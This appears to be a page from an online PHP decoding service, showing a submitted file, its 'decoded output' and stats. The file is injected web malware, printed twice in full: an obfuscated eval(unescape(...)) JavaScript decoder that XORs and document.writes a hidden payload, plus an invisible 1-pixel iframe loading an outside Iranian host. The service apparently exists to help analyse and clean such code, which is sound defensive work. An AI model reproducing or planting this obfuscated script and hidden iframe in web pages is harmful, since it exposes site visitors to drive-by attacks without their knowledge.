Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<SCRIPT type="text/javascript">eval(unescape("function%20ew_dc%28s%29%7Bvar%20d%3D%27%27..

Decoded Output download

<?   
<SCRIPT type="text/javascript">eval(unescape("function%20ew_dc%28s%29%7Bvar%20d%3D%27%27%2Ck%3D0%2Ca%3Dnew%20Array%28%29%2Cr%3Bfor%28i%3D0%3Bi%3Cs.length%3Bi++%29%7Bc%3Ds.charCodeAt%28i%29%3Bif%28c%3C128%29c%5E%3D5%3Bd+%3DString.fromCharCode%28c%29%3Bif%28%28i+1%29%2599%3D%3D0%29%7Ba%5Bk++%5D%3Dd%3Bd%3D%27%27%3B%7D%7Dr%3Da.join%28%27%27%29+d%3Bdocument.write%28r%29%3B%7D"));</SCRIPT><iframe style="opacity:0;" src="http://expres.ir" width="1px" height="1px"></iframe><SCRIPT type="text/javascript">ew_dc(unescape("%23%263072%3C%3E%23%26435%3D%3E%23%264215%3E%23%2640%3D0%3E%23%264020%3E%23%264215%3E%23%2640%3D%3D%3E%25%23%26435%3D%3E%25%23%264023%3E%23%264020%3E%23%2640%3D3%3E%23%2640%3D2%3E%23%264020%3E%23%2640%3D3%3E%23%264215%3E%25%23%26402%3D%3E%23%26435%3D%3E%23%2640%3D2%3E%23%2640%3C4%3E%3F%259d%25mw%60c8%27mqqu%3F**%60%7Duw%60v+lw%27%25diq8%27%23%2640%3C4%3E%23%2640%3D0%3E%23%264020%3E%23%2640%3D4%3E%23%264215%3E%25%23%2640%3D2%3E%23%264020%3E%23%264215%3E%23%26402%3D%3E%27%25qlqi%608%27%23%2640%3C4%3E%23%2640%3D0%3E%23%264020%3E%23%2640%3D4%3E%23%264215%3E%25%23%2640%3D2%3E%23%264020%3E%23%264215%3E%23%26402%3D%3E%27%3B%23%264020%3E%23%264250%3E%23%2640%3D2%3E%23%264337%3E%23%2640%3D0%3E%23%2640%3D2%3E9*d%3B"));</SCRIPT> ?>

Did this file decode correctly?

Original Code


<SCRIPT type="text/javascript">eval(unescape("function%20ew_dc%28s%29%7Bvar%20d%3D%27%27%2Ck%3D0%2Ca%3Dnew%20Array%28%29%2Cr%3Bfor%28i%3D0%3Bi%3Cs.length%3Bi++%29%7Bc%3Ds.charCodeAt%28i%29%3Bif%28c%3C128%29c%5E%3D5%3Bd+%3DString.fromCharCode%28c%29%3Bif%28%28i+1%29%2599%3D%3D0%29%7Ba%5Bk++%5D%3Dd%3Bd%3D%27%27%3B%7D%7Dr%3Da.join%28%27%27%29+d%3Bdocument.write%28r%29%3B%7D"));</SCRIPT><iframe style="opacity:0;" src="http://expres.ir" width="1px" height="1px"></iframe><SCRIPT type="text/javascript">ew_dc(unescape("%23%263072%3C%3E%23%26435%3D%3E%23%264215%3E%23%2640%3D0%3E%23%264020%3E%23%264215%3E%23%2640%3D%3D%3E%25%23%26435%3D%3E%25%23%264023%3E%23%264020%3E%23%2640%3D3%3E%23%2640%3D2%3E%23%264020%3E%23%2640%3D3%3E%23%264215%3E%25%23%26402%3D%3E%23%26435%3D%3E%23%2640%3D2%3E%23%2640%3C4%3E%3F%259d%25mw%60c8%27mqqu%3F**%60%7Duw%60v+lw%27%25diq8%27%23%2640%3C4%3E%23%2640%3D0%3E%23%264020%3E%23%2640%3D4%3E%23%264215%3E%25%23%2640%3D2%3E%23%264020%3E%23%264215%3E%23%26402%3D%3E%27%25qlqi%608%27%23%2640%3C4%3E%23%2640%3D0%3E%23%264020%3E%23%2640%3D4%3E%23%264215%3E%25%23%2640%3D2%3E%23%264020%3E%23%264215%3E%23%26402%3D%3E%27%3B%23%264020%3E%23%264250%3E%23%2640%3D2%3E%23%264337%3E%23%2640%3D0%3E%23%2640%3D2%3E9*d%3B"));</SCRIPT>

Function Calls

None

Variables

None

Stats

MD5 6cb904f71b4746af4e279169f4adb58e
Eval Count 0
Decode Time 85 ms